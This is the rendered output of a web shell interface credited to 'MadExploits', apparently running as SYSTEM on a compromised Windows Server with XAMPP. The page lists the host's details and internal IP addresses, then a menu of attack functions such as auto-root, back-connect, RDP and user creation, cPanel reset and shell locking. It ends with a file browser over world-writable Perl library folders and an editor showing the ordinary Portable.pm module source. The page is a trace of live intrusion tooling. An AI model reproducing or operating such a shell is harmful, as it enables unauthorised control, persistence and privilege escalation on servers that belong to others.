Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxrwxrwx
Alien
[ DIR ]
drwxrwxrwx
Alt
[ DIR ]
drwxrwxrwx
Apache
[ DIR ]
drwxrwxrwx
App
[ DIR ]
drwxrwxrwx
AppConfig
[ DIR ]
drwxrwxrwx
Archive
[ DIR ]
drwxrwxrwx
Authen
[ DIR ]
drwxrwxrwx
B
[ DIR ]
drwxrwxrwx
BerkeleyDB
[ DIR ]
drwxrwxrwx
Bundle
[ DIR ]
drwxrwxrwx
Bytes
[ DIR ]
drwxrwxrwx
CGI
[ DIR ]
drwxrwxrwx
CPAN
[ DIR ]
drwxrwxrwx
CPANPLUS
[ DIR ]
drwxrwxrwx
Canary
[ DIR ]
drwxrwxrwx
Capture
[ DIR ]
drwxrwxrwx
Carp
[ DIR ]
drwxrwxrwx
Class
[ DIR ]
drwxrwxrwx
Clone
[ DIR ]
drwxrwxrwx
Compress
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Context
[ DIR ]
drwxrwxrwx
Convert
[ DIR ]
drwxrwxrwx
Cpanel
[ DIR ]
drwxrwxrwx
Crypt
[ DIR ]
drwxrwxrwx
DBD
[ DIR ]
drwxrwxrwx
DBI
[ DIR ]
drwxrwxrwx
DBIx
[ DIR ]
drwxrwxrwx
DBM
[ DIR ]
drwxrwxrwx
Dancer
[ DIR ]
drwxrwxrwx
Dancer2
[ DIR ]
drwxrwxrwx
Data
[ DIR ]
drwxrwxrwx
Date
[ DIR ]
drwxrwxrwx
DateTime
[ DIR ]
drwxrwxrwx
Devel
[ DIR ]
drwxrwxrwx
Digest
[ DIR ]
drwxrwxrwx
Dist
[ DIR ]
drwxrwxrwx
Email
[ DIR ]
drwxrwxrwx
Encode
[ DIR ]
drwxrwxrwx
Eval
[ DIR ]
drwxrwxrwx
Excel
[ DIR ]
drwxrwxrwx
Exception
[ DIR ]
drwxrwxrwx
Exporter
[ DIR ]
drwxrwxrwx
ExtUtils
[ DIR ]
drwxrwxrwx
FFI
[ DIR ]
drwxrwxrwx
File
[ DIR ]
drwxrwxrwx
GD
[ DIR ]
drwxrwxrwx
Graphics
[ DIR ]
drwxrwxrwx
HTML
[ DIR ]
drwxrwxrwx
HTTP
[ DIR ]
drwxrwxrwx
Hash
[ DIR ]
drwxrwxrwx
Hook
[ DIR ]
drwxrwxrwx
IO
[ DIR ]
drwxrwxrwx
IPC
[ DIR ]
drwxrwxrwx
Imager
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
LWP
[ DIR ]
drwxrwxrwx
List
[ DIR ]
drwxrwxrwx
Log
[ DIR ]
drwxrwxrwx
MIME
[ DIR ]
drwxrwxrwx
MRO
[ DIR ]
drwxrwxrwx
Mail
[ DIR ]
drwxrwxrwx
Math
[ DIR ]
drwxrwxrwx
Method
[ DIR ]
drwxrwxrwx
Mock
[ DIR ]
drwxrwxrwx
Modern
[ DIR ]
drwxrwxrwx
Module
[ DIR ]
drwxrwxrwx
Mojo
[ DIR ]
drwxrwxrwx
MojoX
[ DIR ]
drwxrwxrwx
Mojolicious
[ DIR ]
drwxrwxrwx
Moo
[ DIR ]
drwxrwxrwx
MooX
[ DIR ]
drwxrwxrwx
Moose
[ DIR ]
drwxrwxrwx
MooseX
[ DIR ]
drwxrwxrwx
Mozilla
[ DIR ]
drwxrwxrwx
Net
[ DIR ]
drwxrwxrwx
Number
[ DIR ]
drwxrwxrwx
OLE
[ DIR ]
drwxrwxrwx
Object
[ DIR ]
drwxrwxrwx
OpenGL
[ DIR ]
drwxrwxrwx
PAR
[ DIR ]
drwxrwxrwx
POD2
[ DIR ]
drwxrwxrwx
PPI
[ DIR ]
drwxrwxrwx
PPM
[ DIR ]
drwxrwxrwx
Package
[ DIR ]
drwxrwxrwx
Params
[ DIR ]
drwxrwxrwx
Parse
[ DIR ]
drwxrwxrwx
Path
[ DIR ]
drwxrwxrwx
Perl
[ DIR ]
drwxrwxrwx
PerlIO
[ DIR ]
drwxrwxrwx
Pod
[ DIR ]
drwxrwxrwx
Portable
[ DIR ]
drwxrwxrwx
Probe
[ DIR ]
drwxrwxrwx
Role
[ DIR ]
drwxrwxrwx
SOAP
[ DIR ]
drwxrwxrwx
SQL
[ DIR ]
drwxrwxrwx
Scope
[ DIR ]
drwxrwxrwx
Sort
[ DIR ]
drwxrwxrwx
Specio
[ DIR ]
drwxrwxrwx
Spiffy
[ DIR ]
drwxrwxrwx
Spreadsheet
[ DIR ]
drwxrwxrwx
StackTrace
[ DIR ]
drwxrwxrwx
String
[ DIR ]
drwxrwxrwx
Sub
[ DIR ]
drwxrwxrwx
Syntax
[ DIR ]
drwxrwxrwx
Sys
[ DIR ]
drwxrwxrwx
TAP
[ DIR ]
drwxrwxrwx
Task
[ DIR ]
drwxrwxrwx
Template
[ DIR ]
drwxrwxrwx
Term
[ DIR ]
drwxrwxrwx
Test
[ DIR ]
drwxrwxrwx
Test2
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
Throwable
[ DIR ]
drwxrwxrwx
Tie
[ DIR ]
drwxrwxrwx
Time
[ DIR ]
drwxrwxrwx
Tree
[ DIR ]
drwxrwxrwx
Try
[ DIR ]
drwxrwxrwx
Types
[ DIR ]
drwxrwxrwx
URI
[ DIR ]
drwxrwxrwx
Unicode
[ DIR ]
drwxrwxrwx
Variable
[ DIR ]
drwxrwxrwx
WWW
[ DIR ]
drwxrwxrwx
Win32
[ DIR ]
drwxrwxrwx
Win32API
[ DIR ]
drwxrwxrwx
XML
[ DIR ]
drwxrwxrwx
YAML
[ DIR ]
drwxrwxrwx
auto
[ DIR ]
drwxrwxrwx
common
[ DIR ]
drwxrwxrwx
lib
[ DIR ]
drwxrwxrwx
libwww
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
namespace
[ DIR ]
drwxrwxrwx
odern
[ DIR ]
drwxrwxrwx
AppConfig.pm
31.7
KB
-rw-rw-rw-
BerkeleyDB.pm
42.17
KB
-rw-rw-rw-
BerkeleyDB.pod
80.06
KB
-rw-rw-rw-
CGI.pm
122.63
KB
-rw-rw-rw-
CGI.pod
66.13
KB
-rw-rw-rw-
CPANPLUS.pm
7.05
KB
-rw-rw-rw-
Clone.pm
2.29
KB
-rw-rw-rw-
CryptX.pm
4.69
KB
-rw-rw-rw-
DBI.pm
310.74
KB
-rw-rw-rw-
DB_File.pm
67.84
KB
-rw-rw-rw-
DDP.pm
530
B
-rw-rw-rw-
DateTime.pm
130.33
KB
-rw-rw-rw-
FCGI.pm
5.72
KB
-rw-rw-rw-
Fh.pm
166
B
-rw-rw-rw-
GD.pm
67.49
KB
-rw-rw-rw-
Imager.pm
124.3
KB
-rw-rw-rw-
Importer.pm
41.54
KB
-rw-rw-rw-
JSON.pm
61.08
KB
-rw-rw-rw-
LWP.pm
21.17
KB
-rw-rw-rw-
MailTools.pm
458
B
-rw-rw-rw-
MailTools.pod
2.24
KB
-rw-rw-rw-
Mojo.pm
1.62
KB
-rw-rw-rw-
Mojolicious.pm
28.23
KB
-rw-rw-rw-
Moo.pm
33.61
KB
-rw-rw-rw-
Moose.pm
38.65
KB
-rw-rw-rw-
OLE.pm
4.28
KB
-rw-rw-rw-
OpenGL.pm
140.62
KB
-rw-rw-rw-
OpenGL.pod
37.33
KB
-rw-rw-rw-
PAR.pm
40.34
KB
-rw-rw-rw-
PPI.pm
29.52
KB
-rw-rw-rw-
PPM.pm
75.77
KB
-rw-rw-rw-
PadWalker.pm
4.1
KB
-rw-rw-rw-
PkgConfig.pm
46.96
KB
-rw-rw-rw-
Portable.pm
6.49
KB
-rw-rw-rw-
Socket6.pm
9.55
KB
-rw-rw-rw-
Specio.pm
14.83
KB
-rw-rw-rw-
Spiffy.pm
15.12
KB
-rw-rw-rw-
Spiffy.pod
17.75
KB
-rw-rw-rw-
Template.pm
24.46
KB
-rw-rw-rw-
Throwable.pm
4.4
KB
-rw-rw-rw-
TimeDate.pm
267
B
-rw-rw-rw-
URI.pm
33.95
KB
-rw-rw-rw-
V.pm
4.18
KB
-rw-rw-rw-
XString.pm
1.41
KB
-rw-rw-rw-
YAML.pm
3.12
KB
-rw-rw-rw-
YAML.pod
22.62
KB
-rw-rw-rw-
aliased.pm
9.98
KB
-rw-rw-rw-
alienfile.pm
15.73
KB
-rw-rw-rw-
dbixs_rev.pl
1.5
KB
-rw-rw-rw-
enum.pm
10.63
KB
-rw-rw-rw-
metaclass.pm
3.25
KB
-rw-rw-rw-
mkconsts.pl
38.4
KB
-rw-rw-rw-
ntheory.pm
14.33
KB
-rw-rw-rw-
ojo.pm
6.83
KB
-rw-rw-rw-
oo.pm
1.19
KB
-rw-rw-rw-
oose.pm
2.64
KB
-rw-rw-rw-
pler.pm
9.76
KB
-rw-rw-rw-
ppm.xml
600
B
-rw-rw-rw-
scan.pl
5.68
KB
-rw-rw-rw-
superclass.pm
3.71
KB
-rw-rw-rw-
syntax.pm
4.24
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Portable.pm
package Portable; =pod =head1 NAME Portable - Perl on a Stick =head1 SYNOPSIS Launch a script portably F:\anywhere\perl.exe -MPortable script.pl Have a script specifically request to run portably #!/usr/bin/perl use Portable; =head1 DESCRIPTION "Portable" is a term used for applications that are installed onto a portable storage device (most commonly a USB memory stick) rather than onto a single host. This technique has become very popular for Windows applications, as it allows a user to make use of their own software on typical publically accessible computers at libraries, hotels and internet cafes. Converting a Windows application into portable form has a specific set of challenges, as the application has no access to the Windows registry, no access to "My Documents" type directories, and does not exist at a reliable filesystem path (because the portable storage medium can be mounted at an arbitrary volume or filesystem location). B<Portable> provides a methodology and implementation to support the creating of "Portable Perl" applications and distributions. While this will initially be focused on a Windows implementation, wherever possible the module will be built to be platform-agnostic in the hope that future versions can support other operating systems, or work across multiple operating systems. This module is not ready for public use. For now, see the code for more details on how it works... =head1 METHODS =cut use 5.008; use strict; use warnings; use Portable::LoadYaml; use Portable::FileSpec; our $VERSION = '1.23'; # This variable is provided exclusively for the # use of test scripts. our $FAKE_PERL; # Globally-accessible flag to see if Portable is enabled. # Defaults to undef, because if Portable.pm is not loaded # AT ALL, $Portable::ENABLED returns undef anyways. our $ENABLED = undef; # Param-checking sub _STRING ($) { (defined $_[0] and ! ref $_[0] and length($_[0])) ? $_[0] : undef; } sub _HASH ($) { (ref $_[0] eq 'HASH' and scalar %{$_[0]}) ? $_[0] : undef; } sub _ARRAY ($) { (ref $_[0] eq 'ARRAY' and @{$_[0]}) ? $_[0] : undef; } # Package variables my %applied; my $cache; ##################################################################### # Pragma/Import Interface sub import { my $class = shift; $class->apply( @_ ? @_ : qw{ Config CPAN } ); } sub apply { # default %applied; my $class = shift; my $self = $class->default; my %apply = map { $_ => 1 } @_; if ( $apply{Config} and ! $applied{Config} ) { $self->config->apply($self); $applied{Config} = 1; $ENABLED = 1; } if ( $apply{CPAN} and ! $applied{CPAN} and $self->cpan ) { $self->cpan->apply($self); $applied{CPAN} = 1; $ENABLED = 1; } if ( $apply{HomeDir} and ! $applied{HomeDir} and $self->homedir ) { $self->homedir->apply($self); $applied{HomeDir} = 1; $ENABLED = 1; } # We don't need to do anything for CPAN::Mini. # It will load us instead (I think) return 1; } sub applied { $applied{$_[1]}; } ##################################################################### # Constructors sub new { my $class = shift; my $self = bless { @_ }, $class; # Param checking unless ( exists $self->{dist_volume} ) { die('Missing or invalid dist_volume param'); } unless ( _STRING($self->dist_dirs) ) { die('Missing or invalid dist_dirs param'); } unless ( _STRING($self->dist_root) ) { die('Missing or invalid dist_root param'); } unless ( _HASH($self->{portable}) ) { die('Missing or invalid portable param'); } # Compulsory support for Config.pm require Portable::Config; $self->{Config} = Portable::Config->new( $self ); # Optional support for CPAN::Config if ( $self->portable_cpan ) { require Portable::CPAN; $self->{CPAN} = Portable::CPAN->new( $self ); } # Optional support for File::HomeDir if ( $self->portable_homedir ) { require Portable::HomeDir; $self->{HomeDir} = Portable::HomeDir->new( $self ); } # Optional support for CPAN::Mini if ( $self->portable_minicpan ) { require Portable::minicpan; $self->{minicpan} = Portable::minicpan->new( $self ); } return $self; } sub default { # state $cache; return $cache if $cache; # Get the perl executable location my $perlpath = ($ENV{HARNESS_ACTIVE} and $FAKE_PERL) ? $FAKE_PERL : $^X; # The path to Perl has a localized path. # G:\\strawberry\\perl\\bin\\perl.exe # Split it up, and search upwards to try and locate the # portable.perl file in the distribution root. my ($dist_volume, $d, $f) = Portable::FileSpec::splitpath($perlpath); my @d = Portable::FileSpec::splitdir($d); pop @d if @d > 0 && $d[-1] eq ''; my @tmp = grep { -f Portable::FileSpec::catpath( $dist_volume, $_, 'portable.perl' ) } map { Portable::FileSpec::catdir(@d[0 .. $_]) } reverse ( 0 .. $#d ); my $dist_dirs = $tmp[0]; unless ( defined $dist_dirs ) { die("Failed to find the portable.perl file"); } # Derive the main paths from the plain dirs my $dist_root = Portable::FileSpec::catpath($dist_volume, $dist_dirs, '' ); my $conf = Portable::FileSpec::catpath($dist_volume, $dist_dirs, 'portable.perl' ); # Load the YAML file my $portable = Portable::LoadYaml::load_file( $conf ); unless ( _HASH($portable) ) { die("Missing or invalid portable.perl file"); } # Hand off to the main constructor, # cache the result and return it $cache = __PACKAGE__->new( dist_volume => $dist_volume, dist_dirs => $dist_dirs, dist_root => $dist_root, conf => $conf, perlpath => $perlpath, portable => $portable, ); } ##################################################################### # Configuration Accessors sub dist_volume { $_[0]->{dist_volume}; } sub dist_dirs { $_[0]->{dist_dirs}; } sub dist_root { $_[0]->{dist_root}; } sub conf { $_[0]->{conf}; } sub perlpath { $_[0]->{perlpath}; } sub portable_cpan { $_[0]->{portable}->{CPAN}; } sub portable_config { $_[0]->{portable}->{Config}; } sub portable_homedir { $_[0]->{portable}->{HomeDir}; } sub portable_minicpan { $_[0]->{portable}->{minicpan}; } sub portable_env { $_[0]->{portable}->{Env}; } sub config { $_[0]->{Config}; } sub cpan { $_[0]->{CPAN}; } sub homedir { $_[0]->{HomeDir}; } sub minicpan { $_[0]->{minicpan}; } sub env { $_[0]->{Env}; } 1; =pod =head1 AUTHOR Adam Kennedy E<lt>adamk@cpan.orgE<gt> =head1 COPYRIGHT Copyright 2008 - 2011 Adam Kennedy. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. The full text of the license can be found in the LICENSE file included with this module. =cut
Close